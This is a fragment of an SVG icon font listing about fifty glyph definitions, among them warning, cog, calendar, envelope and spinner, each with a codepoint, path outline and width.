<glyph glyph-name="warning" unicode="&#xe900;" d="M538 663c-5 8-9 12-17 16-21 9-46 4-58-16l-371-646c-4-9-4-13-4-21 0-25 16-42 41-42h742c8 0 12 0 21 4 21 13 25 38 16 59l-370 646z m33 20l371-645c25-42 8-92-29-113-13-8-25-13-42-13h-742c-46 0-83 38-83 84 0 12 4 29 12 42l371 645c25 42 75 55 113 30 12-9 25-17 29-30z m-121-450l-8 142c0 29-4 46-4 58 0 21 4 34 16 46 13 13 25 17 42 17 25 0 37-13 46-25 8-13 8-29 8-54 0-13 0-25-4-42l-13-146c0-16-4-33-8-41-8-13-17-21-33-21-17 0-25 8-34 21-4 12-8 25-8 45z m42-112c16 0 29-4 41-17 13-12 17-25 17-37 0-17-4-29-17-42-12-8-25-12-37-12-17 0-29 4-38 12-12 8-16 25-16 42 0 16 4 29 16 37 5 13 21 17 34 17z" horiz-adv-x="1000" />

<glyph glyph-name="flow" unicode="&#xe901;" d="M542 392h237c42 0 75-34 75-75v-125h113c21 0 33-17 33-34v-233c0-21-17-33-33-33h-304c-21 0-34 16-34 33v233c0 21 17 34 34 34h108v116h-542v-116h109c20 0 33-17 33-34v-233c4-17-13-33-33-33h-305c-16 0-33 16-33 33v233c0 21 17 34 33 34h113v125c0 41 33 75 75 75h237v116h-112c-21 0-33 17-33 34v233c0 17 16 33 33 33h304c21 0 33-16 33-33v-233c0-21-16-34-33-34h-108v-116z" horiz-adv-x="1000" />

<glyph glyph-name="cursor-move" unicode="&#xe902;" d="M208 296v-71c0-4 0-8-4-12-4-5-8-5-12-5-4 0-9 0-13 5l-129 137c-8 0-8 4-8 13s0 8 4 12l129 138c4 4 8 4 17 4 4 0 8 0 12-4 4-5 4-9 4-17v-75h221v221h-75c-8 0-12 0-16 4-5 4-5 8-5 12 0 5 0 9 5 13l137 129c4 8 8 8 17 8s8 0 12-4l138-129c4-4 4-8 4-12 0-5 0-9-4-13-4-8-9-8-17-8h-75v-221h242v75c0 4 0 8 4 12s8 9 12 9 9 0 13-4l129-138c4-4 4-8 4-12s0-9-4-13l-129-137c-4-5-8-5-13-5s-8 0-12 5c-4 0-4 4-4 12v75h-238v-242h71c4 0 8 0 13-4 4-4 4-8 4-12s0-9-4-13l-138-129c0-8-4-8-8-8s-9 0-13 4l-137 129c-9 4-9 8-9 17s0 8 5 12 8 4 16 4h75v238h-221z" horiz-adv-x="1000" />

<glyph glyph-name="arrow-circle-left" unicode="&#xe903;" d="M896 579c42-71 62-146 62-229s-20-158-62-229c-42-71-96-125-167-167-71-42-146-62-229-62s-158 20-229 62c-71 42-125 96-167 167-41 71-62 146-62 229s21 158 62 229 96 125 167 167 146 62 229 62 158-20 229-62 125-96 167-167z m-354-229l-175-175c-17-17-17-46 0-62 16-17 41-17 58 0l204 208c17 17 17 46 0 62l-204 205c-17 16-46 16-58 0-17-17-17-46 0-63l175-175z" horiz-adv-x="1000" />

<glyph glyph-name="flash" unicode="&#xe904;" d="M150 321l188 446c4 12 16 21 29 21l304-5c17 0 33-16 33-33 0-4 0-8-4-12l-83-192 216 0c17 0 34-17 34-33 0-9-4-17-9-21l-537-571c-13-13-33-13-46 0-8 8-12 21-8 33l91 321-175 0c-16 0-33 17-33 33 0 5 0 9 0 13z m113 42l212 0-62-217 295 317-220 0 100 237-184 0-141-337z" horiz-adv-x="1000" />

<glyph glyph-name="redo" unicode="&#xe905;" d="M679 592c-4 0-8 4-8 4-138 79-317 33-396-104s-33-313 104-392 313-33 396 104c17 29 50 38 79 21 29-17 38-50 21-79-112-192-358-259-550-146s-262 358-150 554 358 259 550 146c17-8 25-17 38-25l4 4 58 59c17 16 46 4 46-21l0-196c0-17-13-29-29-29l-196 0c-25 0-38 29-21 46l54 54z" horiz-adv-x="1000" />

<glyph glyph-name="ban" unicode="&#xe906;" d="M208 550c-41-58-62-125-62-200 0-192 154-350 350-350 79 0 150 25 212 71 0 0-4 4-4 4l-487 467c-4 4-9 4-9 8z m75 75c5 0 5-4 9-8l483-467c0 0 4-4 4-4 42 58 63 125 63 200 0 192-154 350-350 350-79 4-150-25-209-71z m209-733c-254 0-459 204-459 458s205 458 459 458 458-204 458-458-204-458-458-458z" horiz-adv-x="1000" />

<glyph glyph-name="barcode" unicode="&#xe907;" d="M125 725v-750h-42v750h42z m42 0v-750h-42v750h42z m41 0v-750h-37v750h37z m42 0v-750h-33v750h33z m42 0v-750h-34v750h34z m41 0v-750h-29v750h29z m42 0v-750h-29v750h29z m42 0v-750h-25v750h25z m41 0v-750h-25v750h25z m42 0v-750h-21v750h21z m46 0v-750h-21v750h21z m42 0v-750h-17v750h17z m41 0v-750h-16v750h16z m42 0v-750h-13v750h13z m42 0v-750h-13v750h13z m41 0v-750h-8v750h8z m42 0v-750h-8v750h8z m42 0v-750h-5v750h5z m41 0v-750h-4v750h4z m42 0v-750h-4v750h4z" horiz-adv-x="1000" />

<glyph glyph-name="calendar" unicode="&#xe908;" d="M917 604v-637c0-50-42-88-88-88h-658c-46 4-88 42-88 92v633c0 50 42 88 88 88h87v96c5 12 13 20 25 20h75c13 0 21-8 21-20v-96h238v96c0 12 8 20 21 20h75c12 0 20-8 20-20v-96h88c54 0 96-38 96-88z m-88-625v542h-658v-538c0-4 4-12 12-12h634c4 0 12 4 12 8z m-471 367h-75c-12 0-20 8-20 21v75c0 12 8 21 20 21h75c13 0 21-9 21-21v-71c0-13-8-25-21-25z m200 21c0-13-8-21-20-21h-75c-13 0-21 8-21 21v75c0 12 8 21 21 21h75c12 0 20-9 20-21v-75z m180 0c0-13-9-21-21-21h-75c-13 0-21 8-21 21v75c0 12 8 21 21 21h75c12 0 21-9 21-21v-75z m-180-159c0-12-8-20-20-20h-75c-13 0-21 8-21 20v71c0 13 8 21 21 21h75c12 0 20-8 20-21v-71z m-179 0c0-12-8-20-21-20h-75c-12 0-20 8-20 20v71c0 13 8 21 20 21h75c13 0 21-8 21-21v-71z m359 0c0-12-9-20-21-20h-75c-13 0-21 8-21 20v71c0 13 8 21 21 21h75c12 0 21-8 21-21v-71z m-180-158c0-12-8-21-20-21h-75c-13 0-21 9-21 21v71c0 12 8 21 21 21h75c12 0 20-9 20-21v-71z m-179 0c0-12-8-21-21-21h-75c-12 0-20 9-20 21v71c0 12 8 21 20 21h75c13 0 21-9 21-21v-71z m359 0c0-12-9-21-21-21h-75c-13 0-21 9-21 21v71c0 12 8 21 21 21h75c12 0 21-9 21-21v-71z" horiz-adv-x="1000" />

<glyph glyph-name="caret-left" unicode="&#xe909;" d="M592 604c8 9 12 9 25 9 8 0 16-5 25-9 8-8 8-12 8-25v-458c0-8-4-17-8-25-9-8-13-8-25-8-9 0-17 4-25 8l-229 229c-9 8-9 13-9 25 0 8 4 17 9 25l229 229z" horiz-adv-x="1000" />

<glyph glyph-name="caret-right" unicode="&#xe90a;" d="M408 604c-8 4-16 9-25 9-8 0-16-5-20-9-9-8-13-16-13-25v-458c0-8 4-17 8-25 9-8 13-8 25-8 9 0 17 4 25 8l230 229c8 8 8 13 8 25 0 8-4 17-8 25l-230 229z" horiz-adv-x="1000" />

<glyph glyph-name="caret-up" unicode="&#xe90b;" d="M763 279c8-8 8-12 8-25 0-8-4-16-8-25-9-8-13-8-25-8h-459c-8 0-16 4-25 8 0 9-4 17-4 25 0 9 4 17 8 25l230 229c8 5 16 9 25 9 8 0 16-4 25-9l225-229z" horiz-adv-x="1000" />

<glyph glyph-name="chain-broken" unicode="&#xe90c;" d="M500 492c-21-21-50-21-71 0-21 21-21 50 0 71l142 141c79 79 208 79 287 0 80-79 80-208 0-287l-141-142c-21-21-50-21-71 0-21 21-21 50 0 71l142 142c37 37 37 104 0 141s-105 38-142 0l-146-137z m0-284c21 21 50 21 71 0 21-20 21-50 0-70l-142-142c-79-79-208-79-287 0-79 79-79 208 0 287l141 142c21 21 50 21 71 0 21-25 21-54 4-75l-141-142c-38-37-38-104 0-141s104-38 141 0l142 141z m142 284c21-21 21-50 0-71l-213-213c-21-20-50-20-71 0-20 21-20 50 0 71l213 213c21 21 54 21 71 0z" horiz-adv-x="1000" />

<glyph glyph-name="check-circle-o" unicode="&#xe90d;" d="M896 579c42-71 62-146 62-229s-20-158-62-229c-42-71-96-125-167-167-71-42-146-62-229-62s-158 20-229 62c-71 42-125 96-167 167-41 71-62 146-62 229s21 158 62 229 96 125 167 167 146 62 229 62 158-20 229-62 125-96 167-167z m-504-337l-109 108c-16 17-45 17-66 0-17-17-17-46 0-67l141-141c17-17 46-17 63 0l358 346c17 16 17 45 0 66-16 17-46 17-66 0l-321-312z" horiz-adv-x="1000" />

<glyph glyph-name="check" unicode="&#xe90e;" d="M813 625c25 25 62 25 87 0 25-25 25-62 0-87l-487-467c-25-25-63-25-88 0l-225 225c-25 25-25 62 0 87 25 25 63 25 88 0l183-183 442 425z" horiz-adv-x="1000" />

<glyph glyph-name="chevron-double-left" unicode="&#xe90f;" d="M304 350l254-250c25-25 25-62 0-87-25-26-62-26-87 0l-300 295c-25 25-25 67 0 88l300 296c25 25 62 25 87 0 25-25 25-63 0-88l-254-254z m250 0l254-250c25-25 25-62 0-87s-62-26-87 0l-300 295c-25 25-25 67 0 88l300 296c25 25 62 25 87 0s25-63 0-88l-254-254z" horiz-adv-x="1000" />

<glyph glyph-name="chevron-double-right" unicode="&#xe910;" d="M679 350l-254-250c-25-25-25-62 0-87 25-26 63-26 88 0l300 295c25 25 25 67 0 88l-300 296c-25 25-63 25-88 0-25-25-25-63 0-88l254-254z m-250 0l-254-250c-25-25-25-62 0-87s63-26 88 0l300 295c25 25 25 67 0 88l-305 292c-25 25-62 25-87 0s-21-63 4-88l254-250z" horiz-adv-x="1000" />

<glyph glyph-name="undo" unicode="&#xe911;" d="M325 592c0 4 4 4 8 8 138 79 317 33 396-104s34-313-104-396-312-33-396 104c-16 29-50 38-79 21-29-17-37-50-21-79 113-192 359-259 550-146s259 358 146 550-354 263-550 150c-12-8-25-17-33-25l-4 4-59 59c-16 16-46 4-46-17l0-196c0-17 13-29 30-29l195 0c25 0 38 29 21 46l-54 50z" horiz-adv-x="1000" />

<glyph glyph-name="filter" unicode="&#xe912;" d="M96 492c-29 0-54 25-54 54s25 54 54 54h812c25 0 50-25 50-54s-25-54-54-54h-808z m121-209c-29 0-54 25-54 55 0 29 25 54 54 54h566c30 0 55-25 55-54 0-30-25-55-55-55h-566z m121-208c-30 0-55 25-55 54 0 29 25 54 55 54h325c29 0 54-25 54-54 0-29-25-54-54-54h-325z" horiz-adv-x="1000" />

<glyph glyph-name="circle-o" unicode="&#xe913;" d="M500-108c254 0 458 204 458 458s-204 458-458 458-458-204-458-458 204-458 458-458z m0 108c-192 0-350 154-350 350s158 350 350 350 350-154 350-350-158-350-350-350z" horiz-adv-x="1000" />

<glyph glyph-name="circle" unicode="&#xe914;" d="M896 579c42-71 62-146 62-229s-20-158-62-229c-42-71-96-125-167-167-71-42-146-62-229-62s-158 20-229 62c-71 42-125 96-167 167-41 71-62 146-62 229s21 158 62 229 96 125 167 167 146 62 229 62 158-20 229-62 125-96 167-167z" horiz-adv-x="1000" />

<glyph glyph-name="clock-o" unicode="&#xe915;" d="M500 721c-204 0-371-167-371-371 0-204 167-371 371-371 204 0 371 167 371 371 0 204-167 371-371 371z m0 87c254 0 458-204 458-458s-204-458-458-458-458 204-458 458 204 458 458 458z m100-600l-17-20c-12-17-37-21-58-9l-108 88v225c0 21 16 41 41 41h25c21 0 42-16 42-41v-175l67-54c16-13 21-38 8-55z" horiz-adv-x="1000" />

<glyph glyph-name="cog" unicode="&#xe916;" d="M904 246l-75 42c9 41 9 83 0 120l75 42c9 8 13 21 13 29-21 63-54 117-96 167-8 8-17 8-25 4l-75-42c-33 25-67 46-108 63v83c0 9-9 17-17 21-63 13-129 13-192 0-8-4-16-12-16-21v-87c-38-13-75-34-105-63l-75 46c-8 4-20 0-29-4-41-46-75-104-96-167 0-8 5-21 13-25l75-41c-8-42-8-84 0-121l-75-42c-8-4-13-17-8-25 20-62 54-117 95-167 9-8 17-8 25-4l75 42c34-25 67-46 109-63v-87c0-9 8-17 16-21 63-13 130-13 192 0 8 4 17 12 17 21v87c37 13 75 34 108 63l75-42c8-4 21-4 25 4 42 46 75 105 96 167-4 4-8 17-17 21z m-404-33c-79 0-142 62-142 141s63 142 142 142 142-63 142-142-63-141-142-141z" horiz-adv-x="1000" />

<glyph glyph-name="cogs" unicode="&#xe917;" d="M775 454l-12-21c-5-8-13-12-21-8-17 8-34 17-46 29-8 4-8 17-4 21l12 21c-8 12-16 25-21 37h-25c-8 0-16 5-16 17-4 17-4 33 0 54 0 9 8 17 16 17h25c5 12 13 29 21 37l-12 21c-4 9-4 17 4 21 12 8 29 17 46 25 8 0 16 0 21-8l12-21c17 4 29 4 46 0l12 21c5 8 13 8 21 8 17-4 34-17 46-25 8-4 8-17 4-21l-12-21c12-16 16-29 25-41h25c8 0 16-4 16-17 5-17 5-33 0-54 0-8-8-17-16-17h-25c-4-12-13-29-21-37l8-17c4-8 4-17-4-21-12-12-29-21-46-25-8-4-16 0-21 9l-12 20c-17-8-29-8-46-4l0 0z m-17 84c55-42 117 20 75 75-54 41-116-21-75-75l0 0z m-162-217l50-25c12-8 21-25 17-42-13-33-38-66-63-91-12-13-29-17-42-9l-41 25c-25-21-50-33-79-46v-45c0-17-13-30-30-34-33-4-70-4-108 0-17 4-29 17-29 34v45c-29 9-54 25-79 46l-42-25c-12-8-33-4-42 9-25 29-45 58-62 91-4 17 0 34 17 42l45 25c-4 29-4 58 0 92l-50 20c-12 9-20 25-12 42 12 33 37 67 62 92 13 12 30 16 42 8l42-25c25 21 50 33 79 46v50c0 17 12 29 29 33 33 4 67 4 104 0 17-4 29-16 29-33v-46c30-8 55-25 80-46l41 25c13 9 34 4 42-8 25-29 46-58 58-92 4-16 0-33-12-41l-50-25c8-34 8-63 4-92z m-171-33c83 108-42 233-150 150-83-109 42-234 150-150z m350-259l-12-21c-5-8-13-12-21-8-17 4-34 17-46 25-8 4-8 17-4 21l12 21c-8 12-16 25-21 37h-25c-8 0-16 4-16 17-4 17-4 33 0 54 0 8 8 17 16 17h25c5 12 13 29 21 37l-12 21c-4 8-4 17 4 21 12 12 29 21 46 25 8 4 16 0 21-8l12-21c17 4 29 4 46 0l12 21c5 8 13 12 21 8 17-4 34-17 46-25 8-4 8-17 4-21l-12-21c8-12 16-25 21-37h25c8 0 16-4 16-17 4-17 4-33 0-54 0-8-8-17-16-17h-21c-4-12-13-29-21-37l12-21c5-8 5-17-4-21-12-12-29-21-46-25-8-4-16 0-20 8l-13 21c-21 0-33 0-50 0z m-17 84c55-42 117 20 75 75-54 41-116-21-75-75l0 0z" horiz-adv-x="1000" />

<glyph glyph-name="commenting-o" unicode="&#xe918;" d="M300 433c-33 0-58-25-58-54 0-29 25-54 58-54s58 25 58 54c0 29-25 54-58 54z m200 0c-33 0-58-25-58-54 0-29 25-54 58-54s58 25 58 54c0 29-25 54-58 54z m200 0c-33 0-58-25-58-54 0-29 25-54 58-54 33 0 58 25 58 54 0 29-25 54-58 54z m-200 309c-250 0-458-163-458-367 0-83 37-158 96-221-25-71-84-129-84-129-12-8-12-29-8-42s21-25 37-25c109 0 196 46 250 80 50-17 109-25 167-25 254 0 458 162 458 366s-204 363-458 363z m0-646c-46 0-96 8-142 21l-41 12-34-25c-25-16-62-37-104-50 17 21 29 46 38 71l21 50-38 38c-33 33-71 91-71 162 0 154 167 279 371 279s371-125 371-279-167-279-371-279z" horiz-adv-x="1000" />

<glyph glyph-name="copy" unicode="&#xe919;" d="M875 692l-92 91c-12 17-33 25-54 25h-300c-46 0-83-37-83-87v-88h-138c-45 5-83-33-83-83v-575c0-46 38-83 83-83h388c46 0 83 37 83 87v88h138c46 0 83 37 83 87v475c0 25-8 46-25 63z m-287-713h-371c-4 0-9 4-9 13v550c0 4 5 12 9 12h129v-400c0-46 37-87 83-87h167v-75c0-9-4-13-8-13z m220 171h-366c-4 0-9 4-9 13v550c0 4 5 12 9 12h183v-158c0-25 17-42 42-42h154v-362c-4-9-8-13-13-13l0 0z m9 458h-109v113h17c4 0 4 0 8-4l84-88c0 0 4-4 4-8v-13l-4 0z" horiz-adv-x="1000" />

<glyph glyph-name="database" unicode="&#xe91a;" d="M275 429c63-12 133-21 204-21s142 9 204 21c63 13 113 34 150 59v-80c0-20-16-41-45-58s-75-33-130-42-112-16-179-16-125 4-179 16-100 25-129 42-46 38-46 58v80c38-25 88-46 150-59z m0-358c63-13 133-21 204-21s142 8 204 21 113 33 150 58v-79c0-21-16-42-45-58-34-17-75-34-130-42-54-13-112-17-179-17s-125 4-179 17c-54 12-100 25-129 42-29 21-46 37-46 62v79c38-29 88-45 150-62z m0 179c63-12 133-21 204-21s142 9 204 21c63 13 113 33 150 58v-79c0-21-16-41-45-58-34-17-75-33-130-42-54-12-112-16-179-16s-125 4-179 16c-54 13-100 25-129 42-29 21-46 37-46 58v79c38-25 88-45 150-58z m29 500c54 13 113 17 179 17s125-4 180-17 100-25 129-42 46-37 46-58v-58c0-21-17-42-46-59-34-16-75-33-129-41s-113-17-180-17-125 0-179 8-100 25-129 42c-33 21-50 42-50 63v58c0 21 17 42 46 58s79 38 133 46z" horiz-adv-x="1000" />

<glyph glyph-name="dot-circle-o" unicode="&#xe91b;" d="M500-108c-254 0-458 204-458 458s204 458 458 458 458-204 458-458-204-458-458-458z m0 108c192 0 350 154 350 350s-158 350-350 350-350-158-350-350 158-350 350-350z m125 425c13-21 21-46 21-75s-8-50-21-75c-12-21-29-42-54-54-21-13-46-21-75-21s-50 8-75 21c-21 12-42 29-54 54-13 21-21 46-21 75s8 50 21 75c12 21 29 42 54 54 21 13 46 21 75 21s50-8 75-21c25-16 42-33 54-54z" horiz-adv-x="1000" />

<glyph glyph-name="envelope" unicode="&#xe91c;" d="M942 467c8 4 16 0 16-9v-366c0-46-37-88-87-88h-742c-46 0-87 38-87 88v362c0 9 8 13 16 9 42-30 92-71 275-205 38-29 100-87 167-83 63 0 129 58 167 83 179 138 233 175 275 209z m-442-234c42 0 100 55 133 75 238 171 255 188 313 230 8 8 12 20 12 33v33c0 46-37 88-87 88h-742c-50 0-87-38-87-88v-33c0-13 4-25 16-33 55-42 71-59 313-230 29-20 87-75 129-75z" horiz-adv-x="1000" />

<glyph glyph-name="external-link-square" unicode="&#xe91d;" d="M125 808h750c46 0 83-37 83-83v-750c0-46-37-83-83-83h-750c-46 0-83 37-83 83v750c0 46 37 83 83 83z m458-287l-395-396c-25-25-25-62 0-87s62-25 87 0l396 395 79-79c21-21 58-4 63 25l4 250c0 21-17 34-34 34l-250-5c-33 0-45-37-25-62l75-75z" horiz-adv-x="1000" />

<glyph glyph-name="eyedropper" unicode="&#xe91e;" d="M767 771c41 0 75-13 104-42 29-29 42-62 42-104s-9-79-38-108l-104-104 50-50c4-5 4-9 4-13 0-4 0-8-4-12l-96-96c-4-4-8-4-12-4s-9 0-13 4l-50 50-283-275c-13-13-25-17-42-17h-92l-112-58c-4 0-8 0-8 0l-21 20c-9 5-9 9-4 13l58 113v95c0 17 4 30 17 42l279 279-50 50c-4 4-4 4-4 9 0 4 0 8 4 12l96 96c4 4 8 4 12 4s8 0 13-4l50-50 104 104c25 33 58 46 100 46z m-442-679l267 266-92 88-262-263c-5-4-5-8-5-12v-75c0-4 5-8 9-8h79c0 0 0 0 4 4z" horiz-adv-x="1000" />

<glyph glyph-name="folder" unicode="&#xe91f;" d="M958 454v-396c0-33-12-62-37-87s-54-38-88-38h-666c-34 0-63 13-88 38s-37 54-37 87v542c0 33 12 63 37 88s54 37 88 37h175c33 0 62-12 87-37s38-55 38-88v-17h366c34 0 63-12 88-37s37-54 37-92z" horiz-adv-x="1000" />

<glyph glyph-name="font" unicode="&#xe920;" d="M454 517l-87-229c12 0 33 0 71 0 33 0 62 0 83 0 8 0 17 0 29 0-33 83-62 162-96 229z m-371-567l0 42c9 4 17 4 30 8s20 4 29 4c8 0 16 4 25 9 8 4 16 8 21 16 8 9 12 17 16 25l121 317 142 371h66c5-9 9-13 9-17l104-246c12-25 29-71 54-133s46-108 58-142c5-12 17-37 30-75s25-66 37-87c8-17 13-25 17-29 8-5 21-9 46-17 25-4 37-9 41-13 0-12 4-21 4-29 0 0 0-4 0-8 0-4 0-4 0-9-20 0-54 0-95 5-42 4-75 4-96 4-25 0-63 0-109-4s-79-5-91-5c0 17 0 30 0 42l66 13c0 0 5 0 9 0 4 0 8 0 8 0 0 0 4 0 8 4 5 0 5 4 9 4s4 4 4 4c4 0 4 4 4 4 0 0 0 5 0 9 0 4-4 21-17 50-12 29-20 58-37 91-13 34-21 50-21 50l-229 0c-8-20-21-54-38-100s-25-75-25-83c0-8 5-12 9-21 0 13 8 9 16 4 9-4 17-4 25-8 9 0 17-4 30-4s20 0 20 0c0-9 0-17 0-29 0-5 0-9 0-13-20 0-50 0-87 4-42 4-71 4-88 4-4 0-8 0-12 0s-8 0-13 0c-29-8-62-12-100-12z" horiz-adv-x="1000" />

<glyph glyph-name="adjust" unicode="&#xe921;" d="M42 350c0-254 204-458 458-458s458 204 458 458-204 458-458 458-458-204-458-458z m458-342v684c188 0 342-154 342-342 0-187-154-342-342-342z" horiz-adv-x="1000" />

<glyph glyph-name="lightbox" unicode="&#xe922;" d="M871 808h-571c-50 0-87-37-87-87v-88h-84c-50 5-87-33-87-83v-575c0-46 37-83 87-83h575c46 0 88 37 88 87v88h87c46 0 88 37 88 87v567c-9 50-46 87-96 87z m-171-829h-571v371h575v-371z m171 171h-88v400c0 46-37 88-87 88h-396v83h575v-571z" horiz-adv-x="1000" />

<glyph glyph-name="heart-o" unicode="&#xe923;" d="M863 667c-105 87-263 75-363-25-100 100-258 112-362 25-134-113-117-292-21-388l312-312c17-17 42-30 67-30 25 0 50 9 67 30l312 312c104 96 121 279-12 388z m-42-329l-313-313c-4-4-8-4-12 0l-313 313c-66 66-79 187 13 266 71 59 175 50 246-16l58-67 63 62c66 67 175 75 245 17 92-71 75-196 13-262l0 0z" horiz-adv-x="1000" />

<glyph glyph-name="history" unicode="&#xe924;" d="M200 633c25 30 54 50 88 67 191 113 441 46 550-146s45-441-146-550-442-50-554 146c-17 29-9 63 20 79 30 17 63 9 80-21 79-137 254-183 395-104s184 254 105 396-255 179-396 100c-21-12-42-29-59-46l67-66c0 0 4-5 4-5 0-4-4-8-8-8l-233-17c0 0 0 0 0 0-5 0-9 5-9 9l13 229c0 0 0 4 4 4 4 4 8 4 12 0l67-67z m383-420c-12-17-37-21-58-9l-108 88v225c0 21 16 41 41 41h25c21 0 42-16 42-41v-175l67-54c16-13 21-38 8-59l-17-16z" horiz-adv-x="1000" />

<glyph glyph-name="image-bold" unicode="&#xe925;" d="M871 725h-742c-50 0-87-37-87-87v-559c0-46 37-87 87-87h746c46 0 88 37 88 87v559c-5 50-42 87-92 87z m-733-642c-5 0-13 5-13 13v533c0 4 4 13 13 13h725c4 0 12-4 12-13v-537c0-4-4-13-12-13h-725z m129 484c-38 0-71-34-71-71s33-71 71-71 71 33 71 71-30 71-71 71z m-71-417h608v196l-166 167c-9 8-25 8-34 0l-229-230-75 75c-8 9-25 9-33 0l-75-75v-133z" horiz-adv-x="1000" />

<glyph glyph-name="info-circle" unicode="&#xe926;" d="M500-108c254 0 458 204 458 458s-204 458-458 458-458-204-458-458c0-254 204-458 458-458z m0 762c25 0 50-21 50-50s-25-46-50-46c-25 0-50 21-50 50 0 13 4 25 13 34s25 12 37 12z m-87-229c-13 4-21 17-21 29 0 9 4 17 8 21 4 4 13 8 21 8h121c4 0 8-4 8-8v-296c0-46 21-62 38-66 12-5 20-17 20-30 0-16-12-29-29-29h-154c-8 4-17 4-25 13-4 4-8 12-8 21 0 12 8 25 21 29 16 4 37 21 37 66v180c0 41-21 58-37 62z" horiz-adv-x="1000" />

<glyph glyph-name="link" unicode="&#xe927;" d="M479 325c38-37 109-37 154 8l117 121c46 46 50 113 8 154s-104 38-150-8l-50-50c-20-21-54-21-75 0-20 21-20 54 0 75l50 50c84 88 221 92 305 8s79-220-9-308l-121-117c-87-87-225-91-308-8-21 21-21 54 0 75 21 21 58 21 79 0z m46 46c-37 37-108 37-154-8l-121-121c-46-46-50-113-8-154 37-38 108-38 154 8l54 54c21 21 54 21 75 0 21-21 21-54 0-75l-54-54c-83-84-221-92-304-8s-79 220 8 308l121 121c87 87 225 91 308 8 21-21 21-54 0-75-25-25-58-25-79-4z" horiz-adv-x="1000" />

<glyph glyph-name="long-arrow-left" unicode="&#xe928;" d="M292 179c0-29-38-46-63-25l-179 175c-12 13-12 38 0 50l179 175c25 17 63 0 63-29v-112h604c33 0 62-30 62-63 0-33-29-62-62-62h-604v-109z" horiz-adv-x="1000" />

<glyph glyph-name="long-arrow-right" unicode="&#xe929;" d="M708 179c0-29 38-46 63-25l179 175c13 13 13 38 0 50l-179 175c-25 17-63 0-63-29v-112h-604c-33 0-62-30-62-63 0-33 29-62 62-62h604v-109z" horiz-adv-x="1000" />

<glyph glyph-name="caret-down" unicode="&#xe92a;" d="M571 457q0-14-10-25l-250-250q-11-11-25-11t-25 11l-250 250q-11 11-11 25t11 25 25 11h500q14 0 25-11t10-25z" horiz-adv-x="571.4" />

<glyph glyph-name="paint-brush" unicode="&#xe92b;" d="M883 608c-91-175-154-270-187-304-17-16-42-41-79-50-13-4-9 25-50 63-34 33-67 25-67 46 0 8 8 50 42 91 33 38 116 121 254 246 8 8 71 75 108 42 38-34-16-121-21-134z m-370-591c-46-46-105-67-180-67-41 0-79 8-112 25s-58 38-79 67-34 58-46 91c-8 34-13 71-13 113 0 0 46-46 88-54 150-21 179 187 337 116 34-16 80-62 75-158-4-54-50-112-70-133z" horiz-adv-x="1000" />

<glyph glyph-name="pencil" unicode="&#xe92c;" d="M892 525l-75-79c-9-8-21-8-29 0l-180 187c-8 9-8 21 0 30l75 79c30 33 80 33 113 0l96-100c33-34 33-84 0-117z m-346 71l-429-446-34-208c-4-30 17-55 46-46l196 37 429 446c9 9 9 21 0 29l-179 188c-8 8-21 8-29 0z m-263-408c-8 8-8 25 0 33l250 262c9 9 25 9 34 0 8-8 8-25 0-33l-250-262c-9-9-21-9-34 0l0 0z m-58-146h79v-63l-104-21-50 59 17 108h58v-83z" horiz-adv-x="1000" />

<glyph glyph-name="plus-circle" unicode="&#xe92d;" d="M104 579c42 71 96 125 167 167s146 62 229 62 158-20 229-62 125-96 167-167c42-71 62-146 62-229s-20-158-62-229c-42-71-96-125-167-167-71-42-146-62-229-62s-158 20-229 62c-71 42-125 96-167 167-41 71-62 146-62 229s21 158 62 229z m350-183h-175c-25 0-46-21-46-46s21-46 46-46h175v-175c0-25 21-46 46-46 25 0 46 21 46 46v175h175c25 0 46 21 46 46s-21 46-46 46h-175v175c0 25-21 46-46 46-25 0-46-21-46-46v-175z" horiz-adv-x="1000" />

<glyph glyph-name="zoom-in-bold" unicode="&#xe92e;" d="M388 467v71c0 29 25 54 54 54 29 0 54-25 54-54v-71h71c29 0 54-25 54-54s-25-55-54-55h-71v-70c0-30-25-55-54-55-29 0-54 25-54 55v70h-71c-29 0-54 25-54 55s25 54 54 54h71z m266-350c-62-46-137-71-216-71-205 0-367 162-367 367s162 366 367 366 366-162 366-366c0-84-25-159-71-217l163-163c21-20 21-54 0-75-21-21-54-21-75 0l-167 159z m-216 37c141 0 258 117 258 259s-117 258-258 258-259-117-259-258 117-259 259-259z" horiz-adv-x="1000" />

<glyph glyph-name="sort-amount-desc" unicode="&#xe92f;" d="M263 129l0 0h83c25 0 37-29 21-46l-138-137c-12-13-29-13-37 0l-138 137c-16 17-4 46 21 46h83 0v588c0 33 25 62 55 62s54-29 54-62v-588z m225 284c-34 0-63 25-63 54s29 54 63 54h287c33 0 63-25 63-54s-30-54-63-54h-287z m0-209c-34 0-63 25-63 54s29 55 63 55h170c34 0 63-25 63-55s-29-54-63-54h-170z m0-208c-34 0-63 25-63 54s29 54 63 54h58c33 0 62-25 62-54s-29-54-62-54h-58z m0 625c-34 0-63 25-63 54s29 54 63 54h400c33 0 62-25 62-54s-29-54-62-54h-400z" horiz-adv-x="1000" />

<glyph glyph-name="sign-out" unicode="&#xe930;" d="M946 317l-304-300c-29-25-75-9-75 29v175h-250c-25 0-42 21-42 42v175c0 25 21 41 42 41h246v175c0 38 45 59 75 29l304-304c21-16 21-41 4-62z m-567 287h-166c-42 0-80-37-80-79v-350c0-42 38-79 80-79h166c25 0 46-21 46-46 0-25-21-46-46-46h-166c-96 0-171 75-171 171v350c0 96 75 171 171 171h166c25 0 46-21 46-46s-21-46-46-46z" horiz-adv-x="1000" />

<glyph glyph-name="spinner" unicode="&#xe931;" d="M588 721c0-46-38-88-88-88s-87 42-87 88 41 87 87 87 88-37 88-87z m-88-658c-46 0-87-38-87-88s41-83 87-83 88 37 88 87-42 84-88 84z m371 375c-46 0-88-38-88-88s38-87 88-87 87 41 87 87-37 88-87 88z m-658-88c0 46-38 88-88 88s-83-42-83-88 37-87 87-87 84 41 84 87z m25-179c-46 0-88-38-88-88s38-87 88-87 87 37 87 87c-4 50-42 88-87 88z m525 0c-46 0-88-38-88-88s38-87 88-87 87 37 87 87c0 50-37 88-87 88z m-525 529c-46 0-88-37-88-87s38-88 88-88 87 38 87 88-42 87-87 87z" horiz-adv-x="1000" />

<glyph glyph-name="square" unicode="&#xe932;" d="M958 638v-575c0-46-16-88-50-121s-75-50-120-50h-575c-46 0-88 16-121 50s-50 75-50 121v575c0 45 16 87 50 120s75 50 121 50h575c45 0 87-16 120-50s50-75 50-120z" horiz-adv-x="1000" />

